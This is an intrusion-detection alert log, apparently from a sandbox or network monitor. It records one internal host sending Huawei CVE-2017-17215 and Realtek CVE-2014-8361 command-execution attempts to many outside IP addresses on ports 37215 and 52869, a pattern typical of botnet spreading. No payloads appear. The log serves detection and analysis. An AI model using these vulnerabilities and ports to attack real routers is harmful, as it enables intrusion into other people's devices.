ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.127.78.197

Timestamp:	07/20/24-23:01:02.415259
SID:	2835222
Source Port:	37866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.100.42.90

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	40496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.250.25.41

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	39638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.184.63.212

Timestamp:	07/20/24-23:01:34.927043
SID:	2027339
Source Port:	50038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.131.170

Timestamp:	07/20/24-23:01:25.288927
SID:	2829579
Source Port:	36914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.46.59.12

Timestamp:	07/20/24-23:01:06.319207
SID:	2027339
Source Port:	51760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.238.195.175

Timestamp:	07/20/24-23:01:22.769838
SID:	2835222
Source Port:	58388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.252.154.154

Timestamp:	07/20/24-23:01:25.230657
SID:	2835222
Source Port:	42856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.17.244

Timestamp:	07/20/24-23:01:18.195561
SID:	2829579
Source Port:	39976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.253.214

Timestamp:	07/20/24-23:01:02.412914
SID:	2835222
Source Port:	35696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 217.168.109.210

Timestamp:	07/20/24-23:01:25.295702
SID:	2025132
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.195.53.166

Timestamp:	07/20/24-23:01:05.911930
SID:	2835222
Source Port:	56500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 97.239.211.144

Timestamp:	07/20/24-23:01:23.025064
SID:	2025132
Source Port:	45294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.221.175.109

Timestamp:	07/20/24-23:01:34.958511
SID:	2027339
Source Port:	39004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.167.172

Timestamp:	07/20/24-23:01:14.452336
SID:	2835222
Source Port:	58222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.39.93.216

Timestamp:	07/20/24-23:01:33.060990
SID:	2835222
Source Port:	40342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 37.186.199.96

Timestamp:	07/20/24-23:01:33.631018
SID:	2025132
Source Port:	35436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 13.17.82.210

Timestamp:	07/20/24-23:01:34.910408
SID:	2831300
Source Port:	39430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.26.183.239

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	48860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.62.161.33

Timestamp:	07/20/24-23:01:33.059039
SID:	2829579
Source Port:	47658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 39.70.52.243

Timestamp:	07/20/24-23:01:05.475968
SID:	2025132
Source Port:	42316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.200.224.101

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 72.172.199.57

Timestamp:	07/20/24-23:01:19.222378
SID:	2835222
Source Port:	49772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.22.213

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	56256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 177.133.134.55

Timestamp:	07/20/24-23:01:05.439190
SID:	2025132
Source Port:	58474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.84.25

Timestamp:	07/20/24-23:01:05.906603
SID:	2829579
Source Port:	41588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.140.146.21

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	59338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 27.79.119.12

Timestamp:	07/20/24-23:01:05.623290
SID:	2025132
Source Port:	60148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.235.27

Timestamp:	07/20/24-23:01:19.225297
SID:	2829579
Source Port:	52264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.54.91.179

Timestamp:	07/20/24-23:01:19.335313
SID:	2835222
Source Port:	35632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.95.112.138

Timestamp:	07/20/24-23:01:07.664911
SID:	2829579
Source Port:	54092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.99.243

Timestamp:	07/20/24-23:01:14.457358
SID:	2829579
Source Port:	59958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.176.236.80

Timestamp:	07/20/24-23:01:05.898280
SID:	2829579
Source Port:	33400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.249.253.104

Timestamp:	07/20/24-23:01:19.220285
SID:	2835222
Source Port:	57664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.212.227

Timestamp:	07/20/24-23:01:22.784106
SID:	2835222
Source Port:	60936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.145.162.217

Timestamp:	07/20/24-23:01:25.280228
SID:	2835222
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.27.5

Timestamp:	07/20/24-23:01:28.196415
SID:	2835222
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.2.47.157

Timestamp:	07/20/24-23:01:34.964842
SID:	2027339
Source Port:	47942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.113.218

Timestamp:	07/20/24-23:01:25.285323
SID:	2835222
Source Port:	58250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.5.152.252

Timestamp:	07/20/24-23:01:34.899868
SID:	2027339
Source Port:	36874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 196.159.190.117

Timestamp:	07/20/24-23:01:07.410378
SID:	2025132
Source Port:	47928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.42.117

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	49828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.127.218

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	49626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 81.201.211.116

Timestamp:	07/20/24-23:01:33.585677
SID:	2025132
Source Port:	42708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 45.24.39.65

Timestamp:	07/20/24-23:01:34.899763
SID:	2831300
Source Port:	50474
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 194.97.213.111

Timestamp:	07/20/24-23:01:34.911761
SID:	2831300
Source Port:	51308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.76.70.226

Timestamp:	07/20/24-23:01:59.292118
SID:	2829579
Source Port:	60550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.255.227

Timestamp:	07/20/24-23:01:07.668267
SID:	2829579
Source Port:	54126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 1.85.153.115

Timestamp:	07/20/24-23:01:30.603978
SID:	2025132
Source Port:	40878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.79.119.12

Timestamp:	07/20/24-23:01:13.330116
SID:	2027339
Source Port:	33078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.158.75.9

Timestamp:	07/20/24-23:01:22.779211
SID:	2829579
Source Port:	42234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 124.36.191.164

Timestamp:	07/20/24-23:01:34.209292
SID:	2025132
Source Port:	58368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 85.70.210.244

Timestamp:	07/20/24-23:01:06.258144
SID:	2025132
Source Port:	57570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 17.165.228.4

Timestamp:	07/20/24-23:01:29.678255
SID:	2025132
Source Port:	56306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 117.101.242.241

Timestamp:	07/20/24-23:01:29.725889
SID:	2025132
Source Port:	33378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.197.199

Timestamp:	07/20/24-23:01:22.796666
SID:	2835222
Source Port:	36884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 124.114.110.102

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	38836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 221.142.162.73

Timestamp:	07/20/24-23:01:33.265286
SID:	2025132
Source Port:	44314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.128.196.44

Timestamp:	07/20/24-23:01:29.170915
SID:	2027339
Source Port:	51244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.199.112.223

Timestamp:	07/20/24-23:01:07.683360
SID:	2835222
Source Port:	42210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.47.250

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	34732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.34.216.226

Timestamp:	07/20/24-23:01:22.783280
SID:	2829579
Source Port:	42930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.174.199

Timestamp:	07/20/24-23:01:33.038711
SID:	2829579
Source Port:	55234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.237.75.229

Timestamp:	07/20/24-23:01:37.120918
SID:	2835222
Source Port:	57708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 221.142.162.73

Timestamp:	07/20/24-23:01:34.958932
SID:	2831300
Source Port:	46122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 73.141.57.7

Timestamp:	07/20/24-23:01:23.004732
SID:	2027339
Source Port:	54816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 101.76.187.95

Timestamp:	07/20/24-23:01:34.561729
SID:	2025132
Source Port:	50172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.80.131.183

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 107.71.221.19

Timestamp:	07/20/24-23:01:24.078416
SID:	2027339
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 158.178.147.148

Timestamp:	07/20/24-23:01:05.479588
SID:	2027339
Source Port:	47768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 175.5.21.0

Timestamp:	07/20/24-23:01:34.915141
SID:	2831300
Source Port:	37624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 192.67.13.54

Timestamp:	07/20/24-23:01:34.972618
SID:	2831300
Source Port:	50346
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.66.186.18

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	40214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.143.61

Timestamp:	07/20/24-23:01:33.070886
SID:	2835222
Source Port:	32990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 106.0.79.225

Timestamp:	07/20/24-23:01:24.827189
SID:	2027339
Source Port:	54392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.68.172

Timestamp:	07/20/24-23:01:37.160288
SID:	2835222
Source Port:	48218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.37.195

Timestamp:	07/20/24-23:01:07.674222
SID:	2829579
Source Port:	52500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 125.202.144.54

Timestamp:	07/20/24-23:01:22.850149
SID:	2025132
Source Port:	48528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.168.126.225

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	39202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.73.230

Timestamp:	07/20/24-23:01:28.145934
SID:	2829579
Source Port:	51828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.208.145.61

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	53656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.117.197.118

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 85.145.238.146

Timestamp:	07/20/24-23:01:34.900554
SID:	2027339
Source Port:	38172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 59.155.45.17

Timestamp:	07/20/24-23:01:32.294949
SID:	2025132
Source Port:	39508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.237.244

Timestamp:	07/20/24-23:01:37.120918
SID:	2829579
Source Port:	45242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.86.185.73

Timestamp:	07/20/24-23:01:02.411662
SID:	2829579
Source Port:	60374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.109.42.214

Timestamp:	07/20/24-23:01:14.405098
SID:	2835222
Source Port:	55130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 58.186.168.57

Timestamp:	07/20/24-23:01:24.727268
SID:	2025132
Source Port:	34282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 27.74.90.8

Timestamp:	07/20/24-23:01:33.362728
SID:	2025132
Source Port:	37854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.41.33

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	47246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 169.172.43.160

Timestamp:	07/20/24-23:01:34.922466
SID:	2027339
Source Port:	54792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.182.69

Timestamp:	07/20/24-23:01:14.397175
SID:	2829579
Source Port:	44530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.229.175.12

Timestamp:	07/20/24-23:01:13.334997
SID:	2027339
Source Port:	43356
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.109.143.30

Timestamp:	07/20/24-23:01:14.440842
SID:	2835222
Source Port:	47862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 131.109.219.124

Timestamp:	07/20/24-23:01:30.878337
SID:	2027339
Source Port:	55804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.105.210.14

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 139.231.65.139

Timestamp:	07/20/24-23:01:34.899757
SID:	2027339
Source Port:	37728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.61.145.35

Timestamp:	07/20/24-23:01:05.901568
SID:	2829579
Source Port:	52986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.116.242.190

Timestamp:	07/20/24-23:01:31.206469
SID:	2027339
Source Port:	46596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 50.184.118.30

Timestamp:	07/20/24-23:01:33.177248
SID:	2025132
Source Port:	40194
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.151.177.108

Timestamp:	07/20/24-23:01:19.221962
SID:	2835222
Source Port:	44188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

